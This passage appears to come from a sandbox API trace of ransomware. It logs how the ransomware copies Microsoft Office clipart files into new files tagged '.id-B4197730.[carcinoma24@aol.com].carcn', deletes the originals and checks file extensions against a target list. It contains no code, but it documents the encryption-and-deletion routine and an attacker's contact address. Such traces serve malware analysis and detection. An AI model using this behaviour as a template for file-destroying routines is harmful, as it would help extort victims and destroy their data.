returned 1 [0302.519] SetEndOfFile (hFile=0x340) returned 1 [0302.519] CloseHandle (hObject=0x340) returned 1 [0302.519] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.519] SetEndOfFile (hFile=0x350) returned 1 [0302.520] CloseHandle (hObject=0x350) returned 1 [0302.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0302.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0302.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0302.520] lstrlenW (lpString=".doc") returned 4 [0302.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.520] lstrlenW (lpString=".docx") returned 5 [0302.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.520] lstrlenW (lpString=".pdf") returned 4 [0302.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.521] lstrlenW (lpString=".xls") returned 4 [0302.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.521] lstrlenW (lpString=".xlsx") returned 5 [0302.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.521] lstrlenW (lpString=".ppt") returned 4 [0302.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0302.521] lstrlenW (lpString=".zip") returned 4 [0302.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.521] lstrlenW (lpString=".rar") returned 4 [0302.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.521] lstrlenW (lpString=".bz2") returned 4 [0302.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.521] lstrlenW (lpString=".7z") returned 3 [0302.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0302.521] lstrlenW (lpString=".dbf") returned 4 [0302.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0302.521] lstrlenW (lpString=".1cd") returned 4 [0302.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0302.521] lstrlenW (lpString=".jpg") returned 4 [0302.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.521] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.521] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.522] GetLastError () returned 0x0 [0302.522] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x329e, lpOverlapped=0x0) returned 1 [0302.523] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x32a0, lpOverlapped=0x0) returned 1 [0302.524] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.524] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.524] SetEndOfFile (hFile=0x340) returned 1 [0302.524] CloseHandle (hObject=0x340) returned 1 [0302.524] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.524] SetEndOfFile (hFile=0x350) returned 1 [0302.525] CloseHandle (hObject=0x350) returned 1 [0302.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0302.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0302.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0302.525] lstrlenW (lpString=".doc") returned 4 [0302.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.525] lstrlenW (lpString=".docx") returned 5 [0302.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.525] lstrlenW (lpString=".pdf") returned 4 [0302.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.526] lstrlenW (lpString=".xls") returned 4 [0302.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.526] lstrlenW (lpString=".xlsx") returned 5 [0302.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.526] lstrlenW (lpString=".ppt") returned 4 [0302.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0302.526] lstrlenW (lpString=".zip") returned 4 [0302.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.526] lstrlenW (lpString=".rar") returned 4 [0302.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.526] lstrlenW (lpString=".bz2") returned 4 [0302.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.526] lstrlenW (lpString=".7z") returned 3 [0302.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0302.526] lstrlenW (lpString=".dbf") returned 4 [0302.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0302.526] lstrlenW (lpString=".1cd") returned 4 [0302.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0302.526] lstrlenW (lpString=".jpg") returned 4 [0302.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.526] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.526] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.527] GetLastError () returned 0x0 [0302.527] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0302.528] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0302.528] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.528] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.529] SetEndOfFile (hFile=0x340) returned 1 [0302.529] CloseHandle (hObject=0x340) returned 1 [0302.529] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.529] SetEndOfFile (hFile=0x350) returned 1 [0302.530] CloseHandle (hObject=0x350) returned 1 [0302.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0302.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0302.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0302.530] lstrlenW (lpString=".doc") returned 4 [0302.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.530] lstrlenW (lpString=".docx") returned 5 [0302.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.530] lstrlenW (lpString=".pdf") returned 4 [0302.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.530] lstrlenW (lpString=".xls") returned 4 [0302.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.530] lstrlenW (lpString=".xlsx") returned 5 [0302.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.530] lstrlenW (lpString=".ppt") returned 4 [0302.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0302.530] lstrlenW (lpString=".zip") returned 4 [0302.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.530] lstrlenW (lpString=".rar") returned 4 [0302.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.531] lstrlenW (lpString=".bz2") returned 4 [0302.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.531] lstrlenW (lpString=".7z") returned 3 [0302.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0302.531] lstrlenW (lpString=".dbf") returned 4 [0302.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0302.531] lstrlenW (lpString=".1cd") returned 4 [0302.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0302.531] lstrlenW (lpString=".jpg") returned 4 [0302.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.531] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.531] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.532] GetLastError () returned 0x0 [0302.532] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x88c, lpOverlapped=0x0) returned 1 [0302.533] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x890, lpOverlapped=0x0) returned 1 [0302.533] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.533] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.533] SetEndOfFile (hFile=0x340) returned 1 [0302.534] CloseHandle (hObject=0x340) returned 1 [0302.534] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.534] SetEndOfFile (hFile=0x350) returned 1 [0302.534] CloseHandle (hObject=0x350) returned 1 [0302.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0302.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0302.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0302.535] lstrlenW (lpString=".doc") returned 4 [0302.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.535] lstrlenW (lpString=".docx") returned 5 [0302.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.535] lstrlenW (lpString=".pdf") returned 4 [0302.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.535] lstrlenW (lpString=".xls") returned 4 [0302.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.535] lstrlenW (lpString=".xlsx") returned 5 [0302.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.536] lstrlenW (lpString=".ppt") returned 4 [0302.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0302.536] lstrlenW (lpString=".zip") returned 4 [0302.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.536] lstrlenW (lpString=".rar") returned 4 [0302.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.536] lstrlenW (lpString=".bz2") returned 4 [0302.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.536] lstrlenW (lpString=".7z") returned 3 [0302.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0302.536] lstrlenW (lpString=".dbf") returned 4 [0302.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0302.536] lstrlenW (lpString=".1cd") returned 4 [0302.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0302.536] lstrlenW (lpString=".jpg") returned 4 [0302.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.536] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.536] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.538] GetLastError () returned 0x0 [0302.538] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x112c, lpOverlapped=0x0) returned 1 [0302.538] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1130, lpOverlapped=0x0) returned 1 [0302.539] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.539] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.539] SetEndOfFile (hFile=0x340) returned 1 [0302.539] CloseHandle (hObject=0x340) returned 1 [0302.539] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.539] SetEndOfFile (hFile=0x350) returned 1 [0302.540] CloseHandle (hObject=0x350) returned 1 [0302.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0302.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0302.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0302.541] lstrlenW (lpString=".doc") returned 4 [0302.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.541] lstrlenW (lpString=".docx") returned 5 [0302.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.541] lstrlenW (lpString=".pdf") returned 4 [0302.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.541] lstrlenW (lpString=".xls") returned 4 [0302.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.541] lstrlenW (lpString=".xlsx") returned 5 [0302.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.541] lstrlenW (lpString=".ppt") returned 4 [0302.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0302.541] lstrlenW (lpString=".zip") returned 4 [0302.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.541] lstrlenW (lpString=".rar") returned 4 [0302.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.541] lstrlenW (lpString=".bz2") returned 4 [0302.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.541] lstrlenW (lpString=".7z") returned 3 [0302.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0302.541] lstrlenW (lpString=".dbf") returned 4 [0302.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0302.541] lstrlenW (lpString=".1cd") returned 4 [0302.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0302.542] lstrlenW (lpString=".jpg") returned 4 [0302.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.542] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.542] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.542] GetLastError () returned 0x0 [0302.542] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xe70, lpOverlapped=0x0) returned 1 [0302.543] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xe80, lpOverlapped=0x0) returned 1 [0302.544] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.544] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.544] SetEndOfFile (hFile=0x340) returned 1 [0302.544] CloseHandle (hObject=0x340) returned 1 [0302.544] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.544] SetEndOfFile (hFile=0x350) returned 1 [0302.545] CloseHandle (hObject=0x350) returned 1 [0302.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0302.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0302.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0302.546] lstrlenW (lpString=".doc") returned 4 [0302.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.546] lstrlenW (lpString=".docx") returned 5 [0302.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.546] lstrlenW (lpString=".pdf") returned 4 [0302.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.546] lstrlenW (lpString=".xls") returned 4 [0302.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.546] lstrlenW (lpString=".xlsx") returned 5 [0302.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.546] lstrlenW (lpString=".ppt") returned 4 [0302.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0302.546] lstrlenW (lpString=".zip") returned 4 [0302.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.546] lstrlenW (lpString=".rar") returned 4 [0302.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.546] lstrlenW (lpString=".bz2") returned 4 [0302.546] lstrcmpiW (lpString1=".bz2", 